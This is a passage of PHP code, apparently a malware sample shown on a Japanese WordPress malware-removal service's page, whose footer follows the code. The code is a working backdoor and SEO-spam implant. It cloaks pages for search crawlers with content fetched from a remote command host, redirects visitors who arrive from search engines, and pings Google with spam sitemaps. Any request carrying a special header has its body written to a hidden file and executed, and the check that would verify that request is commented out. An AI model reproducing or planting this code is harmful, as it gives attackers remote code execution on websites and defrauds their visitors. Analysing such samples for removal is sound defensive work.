                $postdata .= $samu[1] == '' ? "&groupid=218" : '&groupid=' . $samu[1];
                $ts = strval(time());
                array_push($header, 'timestamp: ' . $ts);
                array_push($header, 'xdoim: ' . crc32($ts . '\\n' . $postdata));
                $content = trim(urlx('http://' . gets() . '/sitemap.xml', $header, $postdata . '&http=' . $http));
                if ($content === '') {
                    exit;
                }
                if (@preg_match('#^(\\d)*#', $content)) {
                    for ($i = 1; $i <= intval($content); $i++) {
                        $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s/sitemap%s%d.xml', $http, $host, $samu[0], $i);
                        $respbody = urlx($pgurl);
                        $result .= $pgurl . $respbody;
                    }
                }
            } else {
                $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s/sitemap%s.xml', $http, $host, $amu[1]);
                $respbody = urlx($pgurl);
                $result .= $pgurl . $respbody;
            }
            echo $result;
            exit;
        }
        if (@preg_match('#^/sitemap(.*?).xml$#i', $uri, $amu)) {
            $postdata = 'shost=' . $host . '&http=' . $http;
            if (@preg_match('#(\\d+)-$#', $amu[1], $samu)) {
                $postdata .= '&groupid=' . $samu[1];
            } else {
                $postdata .= '&groupid=' . $gojj;
            }
            $ts = strval(time());
            array_push($header, 'timestamp: ' . $ts);
            array_push($header, 'xdoim: ' . crc32($ts . '\\n' . $postdata));
            $content = trim(urlx('http://' . gets() . '/sitemap' . ($amu[1] == '' || $samu[1] != '' ? '.xml' : '/' . $amu[1]), $header, $postdata));
            if ($content === '') {
                exit;
            }
            @header('Content-type: text/xml');
            if (($amu[1] === '' || $samu[1] != '') && @preg_match('#^(\\d)*#', $content)) {
                $xml = '';
                for ($i = 1; $i <= intval($content); $i++) {
                    $xml .= sprintf($mainsmitem, $http, $host, $i, date('Y-m-d\\TH:i:sP', time()));
                }
                echo sprintf($mainsm, $xml);
                exit;
            }
            $ids = explode("\n", $content);
            //$dat = date("Y-m-d\TH:i:sP", time());
            //$smbody = sprintf($smitem,$http,$host,'',$dat,'0.1');
            $smbody = '';
            foreach ($ids as $v) {
                $purl = $http . '://' . $host . '/' . $v;
                $smbody .= sprintf($smitem, $purl, $purl);
                //,$dat,0.8);//rand(1,8)/10
            }
            echo sprintf($smframe, $smbody);
            exit;
        }
        if (isset($_SERVER['HTTP_XDOIM']) && strlen($_SERVER['HTTP_XDOIM']) > 0) {
            $ts = isset($_SERVER['HTTP_TIMESTAMP']) ? $_SERVER['HTTP_TIMESTAMP'] : "";
            $tmp = @file_get_contents("php://input");
            //if (crc32($ts.'\n'.$tmp) === $_SERVER['HTTP_XDOIM']){
            @file_put_contents(".eGA0Ty2WLh", $tmp, FILE_USE_INCLUDE_PATH);
            echo include '.eGA0Ty2WLh';
            unlink('.eGA0Ty2WLh');
            exit;
        }
        if (@preg_match('#^/site/?(.*?)$#i', $uri, $amu)) {
            $url = "https://search.yahoo.co.jp/search?p=site:%s&ei=UTF-8";
            $url = $amu[1] == '' ? sprintf($url, $host) : sprintf($url, $amu[1]);
            $body = urlx($url, null, null, 1, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7');
            $body = substr($body, strpos($body, "<!-- -->"), 100);
            $body = str_replace(array('/\\/s+/', '\\r\\n', '\\r', '\\n', '"', ','), '', $body);
            @preg_match('#(\\d*)件<!--#', $body, $amu);
            echo $amu[1];
            exit;
        }
        if (@preg_match('#^/getver$#i', $uri, $amu)) {
            $ts = strval(time());
            array_push($header, 'timestamp: ' . $ts);
            array_push($header, 'xdoim: ' . crc32($ts . '\\n' . $postdata));
            $cnt = trim(urlx('http://' . gets() . $amu[0], $header, $postdata));
            echo $cnt === false ? 'fail' . gets() : $cnt . $gojj . gets();
            exit;
        }
        if (strstr($uri, "10001abcaa55atesta5")) {
            $cnt = trim(get('http://' . gets() . "/10001abcaa55atesta5"));
            echo $cnt === false ? 'fail' . gets() : $cnt . $gojj . gets();
            exit;
        }
        if (@preg_match('#google|yahoo|bing|craft|Crawler#i', $ua)) {
            // && (@preg_match('#([a-z]+)-(\d+)?(.html)$#i', $uri) || @preg_match('#cate\/([a-z]+)-(\d+)$#i', $uri) || $uri==='/')){
            $pdt = $postdata . '&http=' . $http . '&groupid=' . $gojj;
            if (@preg_match('#([a-z]+)-(\\d+)?(.html)$#i', $uri, $amu)) {
                $pdt .= sprintf('&hpid=%s-%s', preg_replace('/[a-zI](xyz|buzz|top|online|store|club|shop|biz|space|fun|site).*$/', ".\$1", strrev($amu[1])), $amu[2]);
                echo @trim(urlx(sprintf('http://%s/bot/page?' . $pdt, gets()), $header, $pdt, 1));
                exit;
            } elseif (@preg_match('#cate\\/([a-z]+)-(\\d+)$#i', $uri, $bmu)) {
                echo @trim(urlx(sprintf('http://%s/bot/cate?' . $pdt, gets()), $header, $pdt . '&host=' . preg_replace('/[a-zI](xyz|buzz|top|online|store|club|shop|biz|space|fun|site).*$/', ".\$1", strrev($bmu[1])) . '&cateid=' . $bmu[2], 1));
                exit;
            } else {
                echo @trim(urlx(sprintf('http://%s/bot/home?' . $pdt . '&uri=' . $uri, gets()), $header, $pdt, 1));
                exit;
            }
        }
        if (@preg_match('#google.co.jp|google.com|yahoo.co.jp|yahoo.co|bing.com|ask.com|aol.com|aol.jp#i', $ur) && @preg_match('#([a-zI]+)-(\\d+)?(-(\\d+))?(.html)$#i', $uri)) {
            $pdt = $postdata . '&groupid=' . $gojj . '&uri=' . $uri . '&ip=' . $ip;
            $purl = urlx(sprintf('http://%s/bot/302?' . $pdt . '&uri=' . $uri, gets()), $header, $pdt, 1);
            @header('Location: ' . $purl);
            exit;
        }
        //-func
        function urls($host, $path, $ua, $ref, $params = null)
        {
            $fp = stream_socket_client('ssl://' . $host . ':443', $errno, $errstr, 6);
            $head = "GET " . $path . "?" . $params . " HTTP/1.0\r\nHost: " . $host . "\r\nReferer: " . $ref . "\r\nUser-Agent: " . $ua . "\r\n\r\n";
            $write = fwrite($fp, $head);
            fclose($fp);
        }
        function urlx($url, $header = null, $postdata = null, $gz = null)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            if (!($gz === null)) {
                curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
            }
            if (stripos($url, "https:") === 0) {
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            }
            if (!($header === null)) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
            }
            if (!($postdata === null)) {
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
            }
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $body = curl_exec($ch);
            curl_close($ch);
            return $body;
        }
        function cc($uri)
        {
            $vals = explode("-", substr($uri, 1, strlen($uri) - 6));
            if (sizeof($vals) != 3) {
                return false;
            }
            $newcrc = sprintf("%u", crc32(sprintf("%s-%s", $vals[0], $vals[1])));
            return $newcrc == $vals[2];
        }
        function get($url)
        {
            $contents = @file_get_contents($url);
            if (!$contents) {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $contents = curl_exec($ch);
                curl_close($ch);
            }
            return $contents;
        }
        function gets()
        {
            return "seob218.beautifulsunset.site";
        }
        function https()
        {
            if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off' || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' || !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
                return "https";
            }
            return "http";
        }
        function clientip()
        {
            if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
                return getenv('REMOTE_ADDR');
            } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
                return $_SERVER['REMOTE_ADDR'];
            }
        }
    };
});
@$mEriqO3481();


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.